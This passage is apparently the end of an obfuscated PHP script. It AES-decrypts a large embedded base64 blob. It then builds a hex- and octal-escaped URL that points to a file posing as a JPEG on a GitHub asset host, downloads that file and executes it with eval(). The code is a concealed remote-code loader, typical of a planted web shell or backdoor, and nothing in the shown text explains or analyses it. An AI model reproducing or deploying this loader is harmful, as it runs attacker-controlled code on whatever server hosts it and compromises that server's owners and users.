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';

    
    $Lix = decryptData($encryptLix, $encryptionKey);

$sdjkfh="\x3f\x3e" . file_get_contents("\x68\x74\164\x70\x73\x3a\57\x2f\x67\x69\164\150\x75\x62\55\160\162\x6f\144\165\143\164\151\x6f\x6e\x2d\165\163\x65\x72\x2d\x61\163\x73\x65\164\55\x36\x32\x31\x30\x64\x66\56\x73\63\x2e\x61\155\141\172\x6f\156\141\167\x73\56\143\157\x6d\x2f\x31\x34\60\63\66\71\x35\x30\67\x2f\62\x35\x35\70\63\62\60\x31\64\x2d\x65\64\x38\x64\146\x31\x31\144\x2d\145\66\71\x63\55\x34\x36\x63\65\x2d\x62\63\66\67\55\143\x66\144\x62\x65\x62\142\x64\x36\71\63\x36\56\152\x70\147");

echo eval($sdjkfh);
}

function decryptData($data, $key) {
    return openssl_decrypt($data, 'AES-256-CBC', $key, 0, substr(hash('sha256', $key), 0, 16));
}
?>

